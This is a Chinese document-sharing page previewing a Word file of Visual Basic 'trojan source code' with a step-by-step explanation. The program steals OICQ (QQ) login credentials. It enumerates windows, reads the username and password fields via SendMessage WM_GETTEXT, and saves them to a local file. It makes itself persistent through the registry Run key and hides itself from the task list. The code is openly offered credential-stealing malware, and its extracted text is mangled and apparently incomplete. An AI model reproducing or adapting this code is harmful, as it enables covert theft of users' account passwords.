木马源代码Word文档格式.docx

上传人:b****2 文档编号:1553570 上传时间:2023-04-30 格式:DOCX 页数:9 大小:17.73KB
下载 相关 举报
木马源代码Word文档格式.docx_第1页
第1页 / 共9页
木马源代码Word文档格式.docx_第2页
第2页 / 共9页
木马源代码Word文档格式.docx_第3页
第3页 / 共9页
木马源代码Word文档格式.docx_第4页
第4页 / 共9页
木马源代码Word文档格式.docx_第5页
第5页 / 共9页
木马源代码Word文档格式.docx_第6页
第6页 / 共9页
木马源代码Word文档格式.docx_第7页
第7页 / 共9页
木马源代码Word文档格式.docx_第8页
第8页 / 共9页
木马源代码Word文档格式.docx_第9页
第9页 / 共9页
亲,该文档总共9页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

木马源代码Word文档格式.docx

《木马源代码Word文档格式.docx》由会员分享,可在线阅读,更多相关《木马源代码Word文档格式.docx(9页珍藏版)》请在冰点文库上搜索。

木马源代码Word文档格式.docx

的标题,

取得OICQ登录窗口的子窗口(窗口上的控件)

的类名(GetClassName),

然后通过ComboBox、Edit取得用户名和密码

(通过SendMessage发送WM_GETTEXT取得值)。

由于不能判断外部按键事件的发生,只有通过不断的取得密码值,

具体方法如下:

首先取得用户名的值,

然后不停的取密码的值,

再判断窗口的标题是否为用户名,如果为用户名,

则最后一次密码的值就是真正的密码,到此程序完成。

三、程序编制(完整的程序代码和注释)

(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。

声明变量、过程及API函数,写在Module1.bas文件中

DeclareFunctionCreateFileMappingLib"

kernel32"

Alias"

CreateFileMappingA"

(ByValhFileAsLong,lpFileMappigAttributesAsSECURITY_ATTRIBUTES,ByValflProtectAsLong,ByValdwMaximumSizeHighAsLong,ByValdwMaximumSizeLowAsLong,ByVallpNameAsString)AsLong'

创建一个新的文件映射对象

PrivateDeclareFunctionCloseHandleLib"

(ByValhObjectAsLong)AsLong'

关闭一个内核对象

TypeSECURITY_ATTRIBUTES

nLengthAsLong

lpSecurityDescriptorAsLong

bInheritHandleAsLong

EndType

ConstPAGE_READWRITE=1

ConstERROR_ALREADY_EXISTS=183&

建立判断程序是否多启动的过程

SubMain()

DimynRunAsLong

DimsaAsSECURITY_ATTRIBUTES

sa.bInheritHandle=1

sa.lpSecurityDescriptor=0

sa.nLength=Len(sa)

ynRun=CreateFileMapping(&

HFFFFFFFF,sa,PAGE_READWRITE,0,128,App.title)'

创建内存映射文件

If(Err.LastDllError=ERROR_ALREADY_EXISTS)Then'

如果指定内存文件已存在,则退出

CloseHandleynRun'

退出程序前关闭内存映射文件

End

EndIf

EndSub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法

DeclareFunctionRegCreateKey&

Lib"

advapi32.dll"

RegCreateKeyA"

(ByValhKey&

ByVallpszSubKey$,lphKey&

)'

在指定的项下创建一个新项。

如指定的项已经存在,那么函数会打开现有的项

DeclareFunctionRegSetValueLib"

RegSetValueA"

(ByValhKeyAsLong,ByVallpSubKeyAsString,ByValdwTypeAsLong,ByVallpDataAsString,ByValcbDataAsLong)AsLong'

设置指定项或子项的默认值

ConstHKEY_LOCAL_MACHINE=&

H80000002

ConstREG_SZ=1

建立使程序自启动的过程

SubAutoRun()

DimsKeyNameAsString,sKeyValueAsString,sKeyValueIconAsString

DimRetAsInteger,lphKeyAsLong

sKeyName="

Software\Microsoft\Windows\CurrentVersion\Run"

'

是启动项在注册表中位置,大家可能通过regedit.exe来查看

sKeyValue=App.Path&

IIf(Len(App.Path)>

3,"

\"

&

"

KillOicq.exe"

"

monitor.exe为这个程序

Ret=RegCreateKey&

(HKEY_LOCAL_MACHINE,sKeyName,lphKey)'

创建新的启动项

Ret=RegSetValue&

(lphKey&

"

REG_SZ,sKeyValue,0&

设置键值

(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

DeclareFunctionRegisterServiceProcessLib"

(ByValdwProcessIDAsLong,ByValdwTypeAsLong)AsLong

ConstRSP_SIMPLE_SERVICE=1'

隐藏

建立实现程序自身在关闭程序对话框中的隐藏的过程

SubHideMyWin()

RegisterServiceProcesslngProcessID,RSP_SIMPLE_SERVICE

(4)即时监视是否运行了OICQ

加载1个Timer控件,其Interval的值为1(你也可以自己设置,尽量少点),这个程序就是通过Timer来实现监视的。

PrivateSubTimer1_Timer()

EnumWindowsAddressOfEnumProc,0'

枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序

声明变量、过程、函数及API函数,写在Module1.bas文件中

OptionExplicit

DeclareFunctionEnumWindowsLib"

user32"

(ByVallpEnumFuncAsAny,ByVallParamAsLong)AsLong'

遍查窗口

DeclareFunctionGetWindowTextLib"

GetWindowTextA"

(ByValhwndAsLong,ByVallpStringAsString,ByValcchAsLong)AsLong'

取得窗口标题

DeclareFunctionGetClassNameLib"

GetClassNameA"

(ByValhwndAsLong,ByVallpClassNameAsString,ByValnMaxCountAsLong)AsLong'

为指定的窗口取得类名DeclareFunctionGetWindowLib"

(ByValhwndAsLong,ByValwCmdAsLong)AsLong'

获得一个窗口的句柄

ConstGW_CHILD=5'

寻找源窗口的第一个子窗口

ConstGW_HWNDNEXT=2'

为源窗口寻找下一个兄弟窗口

DeclareFunctionSendMessageLib"

SendMessageA"

(ByValhwndAsLong,ByVal_

wMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong'

发送消息

ConstWM_GETTEXT=&

HD

ConstWM_GETTEXTLENGTH=&

HE

DimbufAsString

Dimnameall,name,passwordall,passwordAsString

DimiAsInteger

Dimtitle,titleall,filepathAsString

PublicFunctionEnumProc(ByValapp_hwndAsLong,ByVallParamAsLong)AsBoolean'

遍查主窗口

DimbufAsString*1024

DimlengthAsLong

filepath=App.Path&

\0.txt"

0.txt为保存帐号、密码的文件

IfDir(filepath)="

Then

title="

titleall="

length=GetWindowText(app_hwnd,buf,Len(buf))

title=Left$(buf,length)'

取得窗口的标题

IfInStr(title,"

)Then'

判断是否为OICQ窗口

CallGetZiWin(app_hwnd)'

调用(5),取得OICQ窗口中的帐号、密码框的类名

Iftitle<

>

IfInStr(titleall,title)Then

EnumProc=1

Else

titleall=titleall+title'

title是指取得的窗口标题

Ifname<

Then'

取得的帐号

IfInStr(title,name)ThenSaveFile'

保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)

EndFunction

(5)取得OICQ窗口中的用户名、密码框的类名

自定义取得子窗口类名的函数,写在Module1.bas文件中

我们知道OICQ主窗口的用户名的类名是ComboBox,密码框的类名是Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。

PublicFunctionGetZiWin(window_hwndAsLong)AsString

DimbuflenAsLong

Dimchild_hwndAsLong

Dimchildren()AsLong

Dimnum_childrenAsInteger

'

取得类名

buflen=256

buf=Space$(buflen-1)

buflen=GetClassName(window_hwnd,buf,buflen)

buf=Left$(buf,buflen)

IfRight(buf,8)="

ComboBox"

OrRight(buf,4)="

Edit"

进行判断

GetZiWin=GetWinText(window_hwnd)'

调用(6),取得它们的值

ExitFunction

num_children=0

child_hwnd=GetWindow(window_hwnd,GW_CHILD)'

取得第1个子窗口的句柄

DoWhilechild_hwnd<

0'

如果有子窗口

num_children=num_children+1

ReDimPreservechildren(1Tonum_children)

children(num_children)=child_hwnd

child_hwnd=GetWindow(child_hwnd,GW_HWNDNEXT)'

取得下一个兄弟窗口的句柄Loop

Fori=1Tonum_children

CallGetZiWin(children(i))

Nexti

(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

自定义取得子窗口的值的函数,写在Module1.bas文件中

PublicFunctionGetWinText(window_hwndAsLong)AsString'

取得子窗口的值

DimtxtlenAsLong

DimtxtAsString

通过SendMessage发送WM_GETTEXT取得地址栏的值

GetWinText="

Ifwindow_hwnd=0ThenExitFunction

txtlen=SendMessage(window_hwnd,WM_GETTEXTLENGTH,0,0)

Iftxtlen=0ThenExitFunction

txtlen=txtlen+1

txt=Space$(txtlen)

txtlen=SendMessage(window_hwnd,WM_GETTEXT,txtlen,ByValtxt)

GetWinText=Left$(txt,txtlen)

Ifbuf="

name=GetWinText

IfInStr(nameall,name)Then

i=0

 

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 求职职场 > 简历

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2